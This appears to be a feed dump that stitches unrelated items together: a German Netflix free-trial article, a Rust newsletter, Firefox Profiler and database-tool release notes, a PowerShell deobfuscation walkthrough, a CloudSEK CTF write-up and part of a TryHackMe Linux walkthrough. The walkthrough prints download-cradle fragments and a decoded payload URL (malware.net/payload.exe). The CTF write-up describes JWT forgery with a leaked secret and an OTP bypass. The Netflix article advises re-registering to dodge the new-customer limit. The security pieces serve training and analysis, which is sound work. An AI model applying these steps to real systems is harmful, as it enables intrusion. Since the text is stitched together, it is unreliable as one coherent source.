Bis zu 30 Tage können Sie den Streamingtest jetzt kostenlos nutzen. Teilweise werden auch nur 14 Tage angeboten, der Gratis-Zeitraum scheint also je nach Standort oder genutztem Browser zu variieren. Auf der Webseite von Netflix Deutschland wurden uns auch nur 14 Tage für 0 Euro angezeigt. Es kann aber helfen, wenn Sie auf ein anderes Gerät wechseln oder Cookies löschen.

Wichtig: Das Angebot gilt explizit nur für Neukunden, nicht für wiederkehrende Abonnenten. Allerdings ist es recht einfach, diesen Umstand zu umgehen, wenn Sie sich einfach mit einer anderen E-Mail-Adresse als zuvor registrieren. Dann haben Sie zwar keinen Zugriff auf Ihren alten Account inklusive persönlicher Daten, Listen und Streaming-Historie, doch das ist sicher zu verschmerzen.

Nach Ablauf des Probezeitraums müssen Sie sich für ein Abo entscheiden (oder vorher kündigen). Zur Wahl stehen Standard mit Werbung für 4,99 Euro monatlich, Standard ohne Werbung für 13,99 Euro monatlich oder Premium für 19,99 Euro monatlich.

Warum genau Netflix gerade jetzt ein Probe-Abo wieder einführt, ist nicht ganz klar. Vermutlich versucht der Anbieter aber, neue Abonnenten dazu zu gewinnen, nachdem die Zahlen zuletzt stagnierten. Zwar ist Netflix der größte Anbieter für Streaming, doch die Konkurrenz schläft nicht. Seit Januar 2026 gibt es beispielsweise auch HBO Max in Deutschland, das mit großen Namen wie Game of Thrones, House of the Dragon, Harry Potter oder Superman wirbt.

Eine Übersicht aller wichtigen Streaming-Dienste finden Sie hier, inklusive Preisen, Vorteilen und Nachteilen.

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Updates from Rust Community

Official

• Announcing Rust 1.97.1

Newsletters

• The Embedded Rustacean Issue #76

Project/Tooling Updates

• Announcing Topcoat: a framework for building full-stack reactive web apps with Rust
• Syn 3.0.0
• What’s New in RustRover 2026.2
• kobe 0.35.0: readiness gates and cert recycling
• Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3
• Nova v0.2.1: computer-use MCP server
• winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs
• crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)
• ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search
• OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)
• Freya 0.4
• buildline: merging cargo and ninja's build profiling into one timeline
• cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine
• flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone
• hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn
• kache 0.11.0: broader compiler coverage and libc-aware keys
• tracing-reload - reload layer without panics
• Introducing OpenTypeless: Voice Input That Actually Works
• Reading a Rust crate's capabilities out of its compiled symbols

Observations/Thoughts

• Battery packs: Let's talk about crates, baby
• Capture Clauses as Effects
• Hardening Rust Code For Production
• Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks
• Rust service hardening and production checklist
• [audio] The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board
• [video] Jon Gjengset: Open Source Maintenance 2026-07-18
• [video] Rust Release Changelog - 1.97.0
• [video] Livestream: Rust in Ubuntu

Rust Walkthroughs

• I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.
• Two tricky bugs in a Rust daemon
• [video] Backend Concepts in Rust: Securely Managing App Secrets
• [video] Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)

Crate of the Week

This week's crate is xan, a TUI toolkit to work with CSV files.

Thanks to Simeon H.K. Fitch for the suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

• No Calls for participation were submitted this week.

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CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

• No Calls for papers or presentations were submitted this week.

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Updates from the Rust Project

576 pull requests were merged in the last week

Compiler

• account for async closures when pointing at lifetime in return type
• comptime inherent impls
• dep_graph: deduplicate task reads with an epoch-filtered index recorder
• eagerly check for ambiguity in macro parsing
• implement #[diagnostic::opaque] attribute to hide backtraces of macros
• shrink ast::Expr64

Library

• add explicit Iterator::count impl for str::EncodeUtf16
• implement bool::toggle
• implement const_binary_search
• implement Debug helpers via Cell
• implement VecDeque::truncate_to_range
• make pin!() more foolproof
• move std::io::BufRead to alloc::io
• move std::io::Read to alloc::io
• move std::io::read_to_string to alloc::io

Cargo

• use PGO for Cargo
• timings: only report units the job queue actually ran
• do not include proc-macro deps in rustc search path args
• include SBOM outputs in fingerprints
• lazily initialize git2 fetch transports

Rustdoc

• fix auto trait normalization env
• use PGO for rustdoc

Clippy

• add block_scrutinee lint
• avoid invalid ref_as_ptr suggestions in const/static initializers
• detect == 0 on unsigned types as a manual_clamp lower bound
• fix if_not_else linting on macro expanded conditions
• fix needless_collect suggests a suggestion that cannot be typed
• non_zero_suggestions: don't lint signed integer div/rem as NonZero
• manual_filter: don't eat comments in the and_then suggestion
• require the use of as _ for indirectly used traits in clippy sources
• rewrite min_ident_chars
• use #[must_use] determination from the compiler

Rust-Analyzer

• avoid index panic when flycheck list is empty
• add capture hints to coroutines
• add handler for E0572
• do not assume array destructuring assignments with rest pattern are constant-sized
• eagerly normalize .await's IntoFuture::Output
• enable auto trait inference
• extract variable preserving whitespace from macro input
• fix coroutines not recording binding owners correctly
• fix crashes in assists due to .unwrap() calls in SyntaxFactory
• fix hir crate leaking bound variables from skipped binders
• fix InferenceContext:identity_args using the wrong DefId
• fix syntax bridge panic when spilting float
• handle enum variants in next-solver generics
• implement lowering of HRTB
• invalid pattern_matching_variant lowering due to recovery
• merge WherePredicate::ForLifetimes into WherePredicate::TypeBound
• only write anon const ty in parent's inference result if it doesn't have its own inference
• panic with a function item and a proc macro item having a duplicate name
• parser to error on macro type bound
• spawn proc-macro servers on requests clearing the client cache
• use quote! inside ast::make::expr_call()
• use Result for the lsp-server Response payload type
• record expressions in types in ExprScope

Rust Compiler Performance Triage

The two most notable changes this week were #159115, which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks, and #159091, which enabled PGO for rustdoc, which makes it ~3-4% faster across the board.

There were two large rollups with tiny performance regressions, which made it difficult to find the offending PRs.

Triage done by @Kobzol. Revision range: 5503df87..d527bc9b

Summary:

2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups 34 artifact comparisons made in total

Full report here.

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

• No RFCs were approved this week.

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

• Tracking Issue for bool::toggle
• Tracking Issue for vec_try_remove
• Avoid computing layout of enums with non-int discriminants
• Tracking Issue for const_btree_len
• Add raw_borrows_via_references lint
• stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw
• rustc_passes: lint unused #[path] attributes on inline modules

• Emit note when calling rustc without specifying an edition
• Let the OS handle stack growth
• Add target_feature_available_at_call_site

• Deallocate post-2026 funds from PM and compiler-ops

• Do the bytes of a pointer have to stay in the same order?

No Items entered Final Comment Period this week for Cargo, Language Reference, Language Team or Rust RFCs.

Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

New and Updated RFCs

• RFC: Refactor the libs team

Upcoming Events

Rusty Events between 2026-07-22 - 2026-08-19 🦀

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• 2026-07-24 | Virtual (Girona, ES) | Rust Girona
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• 2026-08-01 | Virtual (Kampala, UG) | Rust Circle Meetup
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• 2026-08-11 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
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• 2026-08-18 | Virtual (Washington, DC, US) | Rust DC
  • Mid-month Rustful
• 2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Dealing with Dependencies

Africa

• 2026-08-11 | Johannesburg, ZA | Johannesburg Rust Meetup
  • Rust's extended standard library

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• 2026-07-25 | Mumbai, IN | Rust Mumbai
  • ​Rust Mumbai — July Meetup 🦀
• 2026-07-26 | Pune, IN | Rust Pune
  • Rust Pune: July 2026

Europe

• 2026-07-23 | Berlin, DE | Rust Berlin
  • Rust Berlin Talks: The next generation
• 2026-07-23 | London, UK | Rust London User Group
  • LDN Talks: July 2026 Antithesis Takeover
• 2026-07-23 | London, UK | London Rust Project Group
  • Rama modular service framework for Rust
• 2026-07-23 | Paris, FR | Rust Paris
  • Rust meetup #87
• 2026-07-25 | Stockholm, SE | Stockholm Rust
  • Ferris' Fika Forum #28
• 2026-07-27 | Augsburg, DE | Rust Meetup Augsburg
  • Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production
• 2026-07-29 | Poland, PL | Rust Poland
  • Rust Poland x Kraków #10
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  • Rust meetup #70
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• 2026-08-18 | Aarhus, DK | Rust Aarhus
  • Hack Night: Trust but verify the LLM
• 2026-08-18 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
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• 2026-07-22 | Austin, TX, US | Rust ATX
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• 2026-07-23 | Mountain View, CA, US | Hacker Dojo
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• 2026-07-25 | Boston, MA, US | Boston Rust Meetup
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• 2026-07-30 | Atlanta, GA, US | Rust Atlanta
  • Rust-Atl
• 2026-08-01 | Boston, MA, US | Boston Rust Meetup
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• 2026-08-04 | Boston, MA, US | Boston Rust Meetup
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• 2026-08-06 | Saint Louis, MO, US | STL Rust
  • Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API
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• 2026-07-23 | Perth, AU | Rust Perth Meetup Group
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• 2026-08-08 | São Paulo, SP | Rust-SP
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Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

– Carl Lerche on r/rust about the launch of topcoat

Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.

Please submit quotes and vote for next week!

This Week in Rust is edited by:

• nellshamrell
• llogiq
• ericseppanen
• extrawurst
• U007D
• mariannegoldin
• bdillo
• opeolluwa
• bnchi
• KannanPalani57
• tzilist

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

This newsletter gives an overview of the work we’ve done as part of the Firefox 153 release cycle.

Contributions

Firefox is an open source project, and we are always happy to receive external code contributions to our WebDriver implementation. We want to give special thanks to everyone who filed issues, bugs and submitted patches.

Firefox 153, multiple WebDriver bugs were fixed by contributors:

• Khalid AlHaddad updated our codebase to use constants instead of hard-coded strings for all our session data types.
• Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently.
• Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.

WebDriver code is written in JavaScript, Python, and Rust so any web developer can contribute! Read how to setup the work environment and check the list of mentored issues for Marionette, or the list of mentored JavaScript bugs for WebDriver BiDi. Join our chatroom if you need any help to get started!

All Changes

A complete list of developer-facing changes included in this Firefox release is available in the MDN Firefox 153 Release Notes.

Highlights:

• [fatadel] Show counter values over time in profiler-cli (#6136)
• [Markus Stange] More typed arrays: sample + counter times, some frametable columns (#6139)
• [Nazım Can Altınova] Add marker handles to profiler-cli thread network (#6172)
• [Nazım Can Altınova] Surface network activity across profiler-cli (#6175)
• [Nazım Can Altınova] Add profile meta command to profiler-cli (#6177)
• [Markus Stange] Allow raw marker table’s startTime and endTime columns to be Float64Array (#6169)

Other Changes:

• [Sky Ning] Skip preview links for non-main PRs (#6161)
• [spokodev] fix(gecko-upgrade): don’t crash on a counter with empty sample_groups (#6160)
• [Markus Stange] Make profile-conversion snapshots more compact and meaningful (#6152)
• [Nazım Can Altınova] Only render a marker url field as a link when the whole value is a URL (#6163)
• [fatadel] Show each counter’s owning process in profiler-cli (#6164)
• [Nazım Can Altınova] Document the pre-existing thread info and network JSON schemas in the cli (#6171)
• [Markus Stange] Copy column contents in getRawSamplesTableBuilderFromExisting for consistency (#6168)
• [Markus Stange] Convert eligible columns to typed arrays when outputting from profiler-edit (#6167)
• [Markus Stange] Remove unused samples.thread column (#6151)
• [Markus Stange] Fixed botched merge which broke ‘yarn ts’ (#6174)
• [Markus Stange] Update json-slabs 0.3.0 → 0.4.0 (major) (#6176)
• [nightcityblade] Fix light theme text selection colors (#6186)
• [Nazım Can Altınova] Import source map URLs from Chrome DevTools traces (#6190)
• [Nazım Can Altınova] Rename yarn build-profiler-cli script to build-cli (#6191)
• [Nazım Can Altınova] Migrate husky to version 9 (#6201)
• [Nazım Can Altınova] Fix horizontal overflow when the transform navigator is long (#6199)
• [fatadel] Add a ‘hexadecimal’ marker schema field format (#6197)
• [Nazım Can Altınova] Bump source-map to 0.8.0 and remove the old type workaround (#6202)
• [Nazım Can Altınova] Sync: l10n → main (July 21, 2026) (#6209)

Big thanks to our amazing localizers for making this release possible:

• fr: parmegiani.thomas
• fr: Théo Chevalier
• sr: Марко Костић (Marko Kostić)
• sv-SE: Luna Jernberg
• tr: Grk
• zh-CN: Ariel
• zh-CN: Olvcpr423

Find out more about the Firefox Profiler on profiler.firefox.com! If you have any questions, join the discussion on our Matrix channel!

1 post - 1 participant

Read full topic

Der Beitrag iOS 27 gibt Hinweise auf iPhone mit zwei Akkus erschien zuerst auf appgefahren.de.

            - AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the default model for OpenAI
            - Data Editor: Fixed an issue in the Grouping Panel when selecting an item from the "Add" menu required an extra click before applying changes (thanks to @EastLord)
            - Metadata:
                - Fixed schema dropdown width when creating a new constraint
            - Data Transfer:
                - Improved memory usage when importing large CSV files (thanks to @HellAmbro)
                - Fixed CSV export with multi-character quotes and improved quote/delimiter validation
            - Connectivity: Added global network profiles that can be used in all projects
            - Miscellaneous:
                - Added escaping for the pipe character in connection CLI parameters (thanks to @dhufnagel)
                - Removed unnecessary zoom restart prompts on Linux and macOS when moving or resizing the application window (thanks to @elcapo)
                - Fixed color refresh when switching themes (thanks to @anantgupta001)
                - Added the ability to reset font settings to default on the User Interface page in Preferences
            - Databases:
                - Apache Doris: database icon was updated (thanks to @xylaaaaa)
                - Databend driver was updated to version 0.4.8
                - DuckDB: Fixed LIST and ARRAY display in the Data Grid
                - GaussDB: Materialized views are now available in the Navigator tree (thanks to @kkk000111999)
                - Google Cloud SQL - MySQL: Fixed backup and restore failures caused by an exception
                - Greenplum: Fixed an out-of-memory error when loading the table list for schemas with resource groups enabled (thanks to @vaefremov95)
                - MariaDB: Fixed a UI freeze when deleting multiple table columns at once (thanks to @a3894281)
                - MySQL: Fixed an issue when creating a new table failed with an exception (thanks to @HellAmbro)
                - PostgreSQL:
                    - Fixed an issue where the MAINTAIN privilege was not shown for users who had it granted
                    - Fixed an issue where text arrays could be corrupted after editing values containing commas in the Data Grid
                    - Fixed unsupported constraint type warnings for NOT NULL constraints (thanks to @jmax01)
                - SQLite: Fixed an issue where SQL script execution processed only the first line of the script (thanks to @HellAmbro)

For incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a harmless administrative automation tool, or is it an advanced information stealer scraping the credential caches of every corporate browser?

I recommend you first walk through this article and afterwards complete the TryHackMe lab Obfuscation: The Egg Shell File.

The core purpose of this tactical playbook is to provide you with a highly comprehensive, real-world analytical framework so you can confidently dive into the live lab environment (don’t, i say DON’T worry about committing every single execution flag or decoding syntax to memory; the structural muscle memory will lock in during the hands-on exercises).

Let’s cut the fluff and begin:

In modern security operations, the discipline of malware analysis bridges the gap between passive defense and active threat hunting. Using TryHackMe’s foundational lab featuring real-world PowerShell obfuscation strings, this walkthrough guides defenders through the surgical progression required to size up a hostile payload, calculate its technical attributes, map its internal compiled structure, and decrypt its runtime behavior safely.

📋 The Script Triage Checklist

When you capture a suspicious script execution string from your SIEM (Security Information and Event Management) logs, proceed with these steps immediately:

• Isolate and Copy Safely: Transfer the raw text string into a completely disconnected text editor inside a designated analysis virtual machine.
• Identify the Execution Flags: Search for evasion switches like -NoP (No Profile), -W Hidden (Window Hidden), or -Enc (Encoded Command), which indicate deliberate bypass actions.
• Locate Network Anchors: Scan the text string for markers like DownloadString, DownloadFile, curl, or iwr that hint at secondary external downloads.
• Preserve Casing: Do not run lowercase or uppercase find-and-replace scripts across your sample yet; case variance is often structurally critical to decoding algorithms.

Deep Dive: Stripping the Camouflage

Let’s look at an actual example of an obfuscated script layer captured directly from an initial access vector payload log.

What to look for in the image: Notice how the raw command string uses a combination of string splitting, character swapping, and nested script blocks. Threat actors do this to bypass static string matching (signatures) used by endpoint detection engines. By analyzing the structural markers, we can map out the exact unpacking routine.

Layer 1: Undoing String Concatenation

Attackers frequently break apart their critical strings using addition operators or variable insertions to stop simple pattern scanners.

# Obfuscated string snippet
$a = "Down"; $b = "load"; $c = "String"
. ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )

The Fix: You don’t have to guess what this does. By loading the script into an isolated PowerShell CLI and replacing the aggressive execution operator (like . or Invoke-Expression / IEX) with a safe print directive like Write-Output, the environment itself will assemble the string for you:

# Safe evaluation technique
Write-Output ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )
# Output result: DownloadString

Layer 2: Demangling Character Shuffling

Another popular mechanism involves using format strings to re-order components out of sequence at runtime:

"{2}{0}{1}" -f 'Net.','WebClient','New-Object 

The -f operator acts as an indexing map. To decrypt it manually:

• Position {2} grabs the 3rd element: New-Object
• Position {0} grabs the 1st element: Net.
• Position {1} grabs the 2nd element: WebClient

When evaluated sequentially by the command pipeline, it structures clean and functional telemetry: New-Object Net.WebClient.

Layer 3: Defeating Base64 and XOR Rings

The final boss of script obfuscation is almost always an encoded byte block. Base64 is easily recognizable by its standard alphanumeric character set and trailing padding markers (=).

To quickly unwrap these blocks without running the malicious code:

• Copy the raw payload block inside the command string.
• Load the payload directly into CyberChef (the open-source utility for security operations).
• Chain together the From Base64 recipe followed by Decode Text (UTF-16LE).

Input:  aAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AbgBlAHQALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA
Output: http://malware.net/payload.exe

By working backward through these layers, you quickly isolate the final Indicators of Compromise (IoCs) — such as the secondary payload download URL or target staging paths — allowing your security infrastructure to immediately blacklist the server across the enterprise.

🧠 Strategic Takeaway

The Obfuscation: The Egg Shell File analysis framework underscores a foundational truth of computer network defense: Malware cannot accomplish its mission without leaving a structural or behavioral footprint inside operational logs.

Whether it is a distinct jump in character selection counts, an unexpected system variable concatenation flag, or a sudden burst of hidden network invocation arguments executed entirely from background windows, an obfuscated script pipeline will always reveal its true payload target under systematic scrutiny.

By utilizing platforms like CyberChef to strip back multi-layered Base64 and XOR encoding architectures and verifying those outputs within isolated environments, defenders completely eliminate the guesswork from administrative code reviews.

Go log into the TryHackMe room, reverse the nested string layout structures of the script sample, map out the true operational strings, and transform your defensive triage into an optimized playbook.

📈 Master the Art of System Forensics & Threat Intelligence

Generic security training completely collapses when sophisticated threat groups deploy obfuscated, packed, and tailored payloads across your endpoints.

To ensure you never miss an in-depth threat intelligence playbook pulling back the curtain on advanced binary analysis, active threat hunting, and modern defense frameworks:

• Follow Pop123 on Medium for immediate notifications on all newly published technical deep-dives, infrastructure hardening playbooks, and reverse-engineering guides.
• Explore my Security and Machine Learning Projects on GitHub
• Subscribe to direct email updates by clicking the envelope icon (✉️) right next to the follow button so these critical tactical breakdowns land straight in your inbox.

Thank you for reading. This article was entirely written by Pop123. If you found this technical breakdown of the malware analysis matrix valuable, consider leaving a clap and sharing your thoughts, configuration questions, or analytical feedback in the responses below, I am as always open to further discussing the interesting topics!

For collaborations and inquiries: alexandrupp55@gmail.com

Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

1. Nitro
   Nitro 100 Ready your scripts! Only automation will beat the clock
   and unlock the flag. http://15.206.47.5:9090

Method:
Random string on http://15.206.47.5:9090/task :
Here is the input string: Vr9jz8d13k6K
Things need to don in script:
Reverse the string ,encode with base64, wrap it in the given format
and submit the string.

import requests
import base64
import re

BASE = "http://15.206.47.5:9090"
session = requests.Session()

TOKEN_REGEX = re.compile(r"input string:\s*([A-Za-z0-9+/=]+)")

def extract_token(html):
    m = TOKEN_REGEX.search(html)
    if not m:
        raise ValueError("Token not found")
    return m.group(1)

def build_payload(s):
    rev = s[::-1]
    b64 = base64.b64encode(rev.encode()).decode()
    return f"CSK__{b64}__2025"

print("[*] Automation loop started...")

while True:
    try:
        r_task = session.get(f"{BASE}/task", timeout=3)
        token = extract_token(r_task.text)
        payload = build_payload(token)

        r_submit = session.post(f"{BASE}/submit", data=payload, timeout=3)

        print("Token:", token)
        print("Response:", r_submit.text.strip())
        print("-" * 40)

        if "flag" in r_submit.text.lower():
            print("FLAG FOUND!")
            break
    except Exception as e:
        print("Error:", e)

Got the flag.

2. Bad Feedback:

Method:The data in feedback form is sent in xml and client side js script is
visible. So I got the idea that this can be vulnerable to xml
injection. I tested it with a simple payload.

Got the flag using this payload.

3. Ticket:
Strike Bank recently discovered unusual activity in their
customer portal. During a routine review of their Android app,
several clues were uncovered. Your mission is to investigate
the information available, explore the associated portal, and
uncover the hidden flag. Everything you need is already out
there! Connect the dots and complete the challenge.
The android package is com.strikebank.netbanking and the
security review was conducted via bevigil.com.
Report can also be viewed by visiting the URL with the
following format: https://bevigil.com/report/<package_name>
Method:
Report: https://bevigil.com/report/com.strikebank.netbanking
Explore the report to get the url of the Vulnerable
website(Strike Bank).
Website — 15.206.47.5.nip.io

Exploring strings we got the jwt secret and default
credentials .
Username — tuhin1729
Password: 123456

After logging with these credentials I got a jwt token assigned
to tuhin1729 user. I replaced the jwt token with a custom
made jwt token. And got the flag.

4.​Triangle
The system guards its secrets behind a username, a
password, and three sequential verification steps. Only those
who truly understand how the application works will pass all
three.
Explore carefully. Look for what others overlooked. Break the
Trinity and claim the flag.
http://15.206.47.5:8080
Method:

As i have to bypass this login portal i start with sql injection
but after trying sql injection and roaming around in website
code i see an html comment for Dev Team 2 that to make
changes in google2fa.php file and remove .bak file.
I tried to access http://15.206.47.5:8080/google2fa.php but
didn’t get the file then i tried
http://15.206.47.5:8080/google2fa.php.bak and got the bak
file. ​
Then I also got the login.php.bak file which has the php
code.

From the login.php.bak file I got the username and password
which is admin and admin.
The google2fa.php.bak has logic that shows how the otp is
generated .
​
By reviewing the code I tried payload to bypass the otp login
functionality, as it compares the otp which is generated using
google2fa.php.
I tried “00000” as otp but it didn’t work. Then I tried sending blank fields
request that also didn’t work, then I tried “true” as OTP which works and
led us to our flag.

Thanks for reading:)

CloudSEK CTF Writeup was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

“Agent 47, your mission begins. 30 targets stand between you and the root.”
Author: Shikhali Jamalzade
GitHub: github.com/alisalive
LinkedIn: linkedin.com/in/camalzads

📋 Room Overview

Platform TryHackMe
Room Name Linux Agency
Link https://tryhackme.com/room/linuxagency
Difficulty Medium
Category Linux Fundamentals + Privilege Escalation
Initial Access SSH (agent47)

🎯 About This Room

Linux Agency is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of Agent 47 — a secret agent tasked with infiltrating the ICA Agency, chaining through 30 mission accounts, eliminating special targets, and ultimately achieving root.

This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:

• 🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)
• 💻 Multiple programming languages (Python, Ruby, Java, C)
• 🔐 Encoding/decoding (Base64, Binary, Hex)
• 📅 Cron job exploitation
• ⚡ Sudo privilege escalation via GTFOBins
• 🐳 Docker privilege escalation
• 🔑 SSH private key cracking

🛠️ Tools Used

• ssh, su, find, grep, cat, ls, strings, file
• base64, xxd
• gcc, javac, java, python3, ruby
• netcat (nc)
• ssh2john + john (John the Ripper)
• ss (socket statistics)
• GTFOBins
• Docker

⚙️ Setup

Start the machine on TryHackMe and wait about a minute. Then connect:

ssh agent47@<MACHINE_IP>

Password: 640509040147

Once connected you’ll see:

agent47@linuxagency:~$

The mission begins. 🚀

🗂️ Task 2: Initial Access

The room’s mechanic is straightforward:

• Every flag found acts as the password for the next user
• Flag format: missionX{md5_hash}
• Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...

🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)

🎯 Mission 1

As agent47, the first task is finding mission1’s flag.

find / -type f -name "*.txt" 2>/dev/null
# Or directly check:
ls /home/mission1/
cat /home/mission1/<flag_file>

Now switch to mission1:

su mission1
# Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}

💡 What we learned: find for filesystem-wide searching, understanding the /home directory structure.

🎯 Mission 2

As mission1:

find / -type f -name "mission2" 2>/dev/null
cat <found_path>

su mission2
# Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}

🎯 Mission 3

# As mission2:
grep -r "mission3" . 2>/dev/null

su mission3
# Password: mission3{ab1e1ae5cba688340825103f70b0f976}

💡 What we learned: grep -r for recursive content searching across directories.

🎯 Mission 4

# As mission3:
cd /home/mission3
ls
cat flag.txt

su mission4
# Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}

🎯 Missions 5–8

These follow a similar pattern — searching the filesystem:

# As mission4:
grep -r "mission5" / 2>/dev/null
su mission5
# Password: mission5{bc67906710c3a376bcc7bd25978f62c0}

# As mission5:
grep -r "mission6" / 2>/dev/null
su mission6
# Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}

# As mission6:
grep -r "mission7" / 2>/dev/null
su mission7
# Password: mission7{53fd6b2bad6e85519c7403267225def5}

# As mission7:
grep -r "mission8" / 2>/dev/null
su mission8
# Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}

🎯 Mission 9

# As mission8:
ls
cat flag.txt

su mission9
# Password: mission9{ba1069363d182e1c114bef7521c898f5}

🎯 Missions 10–11

# As mission9:
grep -r "mission10" / 2>/dev/null
su mission10
# Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}

# As mission10:
grep -r "mission11" / 2>/dev/null
su mission11
# Password: mission11{db074d9b68f06246944b991d433180c0}

🎯 Mission 12 — Environment Variable

This time the flag is hidden inside an environment variable, not a file!

# As mission11:
env | grep mission12

su mission12
# Password: mission12{f449a1d33d6edc327354635967f9a720}

💡 What we learned: The env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!

🎯 Mission 13 — File Permissions

# As mission12:
ls -la /home/mission12/
# flag.txt exists but you have no read permission!
chmod 777 /home/mission12/flag.txt
cat /home/mission12/flag.txt

su mission13
# Password: mission13{076124e360406b4c98ecefddd13ddb1f}

💡 What we learned: Linux file permissions and chmod. Always use ls -la — the -a flag reveals hidden files and the -l flag shows permissions clearly.

🎯 Mission 14 — Base64 Decode

# As mission13:
cat /home/mission13/flag.txt | base64 -d

su mission14
# Password: mission14{d598de95639514b9941507617b9e54d2}

💡 What we learned: Base64 encoding/decoding. Strings ending with = or == are almost always Base64-encoded. The base64 -d flag decodes them directly in the terminal.

🎯 Mission 15 — Binary → ASCII

# As mission14:
cat /home/mission14/flag.txt
# You'll see binary digits: 01101101 01101001 ...

Convert the binary to ASCII using Python:

python3 -c "
binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'
chars = binary.split()
result = ''.join([chr(int(b, 2)) for b in chars])
print(result)
"

Or use an online tool: https://www.rapidtables.com/convert/number/binary-to-ascii.html

su mission15
# Password: mission15{fc4915d818bfaeff01185c3547f25596}

💡 What we learned: Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.

🎯 Mission 16 — Hex → ASCII

# As mission15:
cat /home/mission15/flag.txt | xxd -r -p

xxd -r -p converts a raw hex string directly back to ASCII.

su mission16
# Password: mission16{884417d40033c4c2091b44d7c26a908e}

💡 What we learned: Hex decoding. xxd dumps hex (-p for plain hex), and with -r it reverses the process.

🎯 Mission 17 — Execute Permission

# As mission16:
ls -la /home/mission16/
# There's a 'flag' binary but it has no execute permission
chmod u+x /home/mission16/flag
./flag

su mission17
# Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}

🎯 Mission 18 — Java

# As mission17:
ls /home/mission17/
# flag.java found
cd /home/mission17/
javac flag.java      # Compile
java flag            # Run

su mission18
# Password: mission18{f09760649986b489cda320ab5f7917e8}

💡 What we learned: Java compilation workflow: javac compiles .java → .class, then java runs the class.

🎯 Mission 19 — Ruby

# As mission18:
ruby /home/mission18/flag.rb

su mission19
# Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}

🎯 Mission 20 — C Language

# As mission19:
cd /home/mission19/
gcc flag.c -o flag   # Compile
./flag               # Run

su mission20
# Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}

💡 What we learned: C compilation: gcc source.c -o output_name then ./output_name to execute.

🎯 Mission 21 — Python

# As mission20:
python3 /home/mission20/flag.py

su mission21
# Password: mission21{7de756aabc528b446f6eb38419318f0c}

